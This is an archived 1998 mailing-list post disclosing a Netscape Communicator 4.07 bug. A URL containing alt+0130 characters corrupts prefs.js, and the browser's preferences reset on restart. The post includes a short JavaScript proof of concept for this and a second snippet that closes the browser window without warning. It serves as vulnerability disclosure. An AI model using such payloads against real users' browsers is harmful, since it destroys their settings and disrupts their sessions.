Netscape Communicator 4.07 - Prefs.js Reset

From: Themag00ru (XThemag00ruat_private)
Date: Mon Oct 19 1998 - 07:25:26 PDT

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    I don`t know if this is already known or not.
    
    Anyway if you put alt+0130 characters into the URL, netscape
    will write it into the url history in prefs.js
    example:
    *<SCRIPT LANGUAGE="JavaScript"><!--Do hide from new Mo Zilla
    *function oops(){
    *window.open("http://somewhere.com/ ‚‚‚‚‚‚‚","_parent");
    *}
    *// --></SCRIPT>
    would go to the specified address and will write the address in prefs.js
    After you shut down  netscape and start it later it will give errors like:
    
    unterminated string literal
    Default Prefences will be used.
    
    Which means your Preference settings have gone bye bye.
    And another thing thats even more weird is the fact that after a few years
    of javascript and browser history...this 1 still works:
    *<SCRIPT LANGUAGE="JavaScript"><!--
    *function oops(){
    *window.alert("Bye Bye");
    *window.close();
    *}
    *// --></SCRIPT>
    No warnings again just like the older versions it just closes.
    
    
    Themag00ru
    



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